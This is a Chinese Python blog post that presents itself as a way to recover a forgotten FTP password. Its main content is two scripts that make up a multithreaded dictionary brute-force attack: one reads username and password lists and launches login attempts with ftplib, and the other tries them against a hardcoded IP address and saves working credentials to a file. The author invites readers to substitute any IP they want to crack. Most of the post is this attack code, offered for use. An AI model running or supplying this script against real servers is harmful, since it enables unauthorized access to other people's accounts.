忘记ftp密码使用python ftplib库暴力破解密码的方法示例

yipeiwu_com6年前Python基础

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

复制代码 代码如下:

import os
import time
import threading

class mythread(threading.Thread):
def __init__(self,command):
threading.Thread.__init__(self)
self.command=command
def run(self):
kk=os.system(self.command)
ushand=open(“user.txt”,”r”)
pshand=open(“passwd.txt”,”r”)
listuser=[]
listpass=[]
for us in open(“user.txt”,”r”):
lineus=ushand.readline().strip(‘\n')
listuser.append(lineus)
for ps in open(“passwd.txt”,”r”):
lineps=pshand.readline().strip(‘\n')
listpass.append(lineps)
for i in listuser:
for j in listpass:
command=”ftp.py %s %s” %(i,j)
print command
my_thread=mythread(command)
my_thread.start()
time.sleep(0.1)

相应的ftp.py文件里面的代码如下

复制代码 代码如下:

import ftplib
import socket
import sys
ftp=ftplib.FTP('121.54.175.204′)
try:
user=sys.argv[1]
passwd=sys.argv[2]
ftp.login(user,passwd)
hand=open(‘aa.txt','a+')
hand.write(user+”:”+passwd+”\n”)
except ftplib.error_perm:
print “passwd is world”


需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

相关文章

python实现目录树生成示例

复制代码 代码如下:#!/usr/bin/env python# -*- coding: utf-8 -*-import osimport optparse LOCATION_NONE&...

Python中使用ElementTree解析XML示例

【XML基本概念介绍】 XML 指可扩展标记语言(eXtensible Markup Language)。 XML 被设计用来传输和存储数据。 概念一: 复制代码 代码如下: <...

python 通过字符串调用对象属性或方法的实例讲解

有时候需要将属性或方法作为参数传入,这个时候可以通过以下几种方式用字符串调用对象属性或方法 1、eval In [634]: def getmethod(x,char='just f...

python中requests和https使用简单示例

requests 是一个非常小巧全面的库,应用它可以很容易写出与服务器进行交互的程序,今天遇到了一个问题,与服务器交互时,url都是https开头的,都进行了ssl加密处理,这样一来,就...

Python中scatter函数参数及用法详解

Python中scatter函数参数及用法详解

最近开始学习Python编程,遇到scatter函数,感觉里面的参数不知道什么意思于是查资料,最后总结如下: 1、scatter函数原型 2、其中散点的形状参数marker如下: 3...